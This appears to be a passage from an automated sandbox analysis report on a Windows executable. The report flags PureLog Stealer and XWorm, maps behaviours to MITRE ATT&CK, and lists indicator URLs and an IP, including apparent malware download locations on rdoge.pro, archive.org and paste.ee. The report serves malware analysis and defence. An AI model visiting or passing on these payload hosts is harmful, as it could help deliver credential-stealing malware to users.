Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Code function: 0_2_00007FF681B3019C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF681B3019C

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 18.2.powershell.exe.1af29b22f88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af314e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af29b22f88.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af314e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1728472486.000001AF2930E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected XWorm

Source: Yara match	File source: 125.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 113.2.powershell.exe.237b3bb2660.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\sys	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\sys
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\sys
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\pow
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\pow
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\pow
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\32
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\32
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\sys
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\32
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\32
Source: C:\Windows\System32\cmd.exe	Directory queried: C:\Users\Public\Documents\pow

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 18.2.powershell.exe.1af29b22f88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af314e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af29b22f88.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1af314e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1728472486.000001AF2930E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected XWorm

Source: Yara match	File source: 125.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 113.2.powershell.exe.237b3bb2660.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B16A30 getsockname,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00007FF681B16A30
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681AD1DF0 bind,		0_2_00007FF681AD1DF0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	412 Scripting	1 Spearphishing Link	11 Windows Management Instrumentation	412 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	Login Hook	3 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TM3utH2CsU.exe	3%	ReversingLabs	Win64.Dropper.Generic

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://rdoge.pro/nd/eneba_com_privacy_policy.pdfO	0%	Avira URL Cloud	safe
https://ia600100.us.arXj	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
https://ia600100.us.arX	0%	Avira URL Cloud	safe
https://www.google.com;	0%	Avira URL Cloud	safe
http://paste.ee	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://analytics.paste.ee	0%	Avira URL Cloud	safe
https://paste.ee	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/wm_startup.zip	0%	Avira URL Cloud	safe
https://aka.ms/pscore6	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/pure_hnvc1.ziphttps://rdoge.pro/stc/wm_startup.ziphttps://rdoge.pro/stc/pure_h	0%	Avira URL Cloud	safe
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtZHo;NrXbase64Content	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://rdoge.pro/nd/eneba_com_privacy_policy.pdf	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/pure_hnvc1.zipo4	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/pure_hnvc2.zip	0%	Avira URL Cloud	safe
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	100%	Avira URL Cloud	malware
https://rdoge.pro/stc/pure_hnvc1.zip	0%	Avira URL Cloud	safe
https://paste.ee/d/82O7E/0	0%	Avira URL Cloud	safe
135.224.23.113	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/pure_hnvc1.zipf4	0%	Avira URL Cloud	safe
https://analytics.paste.ee;	0%	Avira URL Cloud	safe
https://rdoge.pro/nd/eneba_com_privacy_policy.pdfFailed	0%	Avira URL Cloud	safe
https://ia600100.us.archive.org	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com;	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/pure_hnvc2.zip049p	0%	Avira URL Cloud	safe
https://rdoge.pro/stc/wm_startup.zipf4	0%	Avira URL Cloud	safe
https://secure.gravatar.com	0%	Avira URL Cloud	safe
https://themes.googleusercontent.com	0%	Avira URL Cloud	safe
http://ia600100.us.archive.org	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
135.224.23.113	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ia600100.us.arXj	powershell.exe, 00000018.00000002.1667045038.000002170169D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rdoge.pro/nd/eneba_com_privacy_policy.pdfO	TM3utH2CsU.exe, 00000000.00000002.1730832059.00000206945BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000012.00000002.1650971505.000001AF1A656000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1728472486.000001AF28D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.0000021701963000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000012.00000002.1650971505.000001AF1A3E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217016EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC86176000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001E.00000002.1718239578.000001EC8638E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000012.00000002.1650971505.000001AF1912A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001E.00000002.1718239578.000001EC8638E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000012.00000002.1650971505.000001AF19678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.000002170118C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC8540B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 0000001E.00000002.1704147920.000001EC82C09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000012.00000002.1650971505.000001AF192E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1667045038.00000217004CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1718239578.000001EC85071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000018.00000002.2167378345.0000021710077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000012.00000002.1650971505.000001AF1A393000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
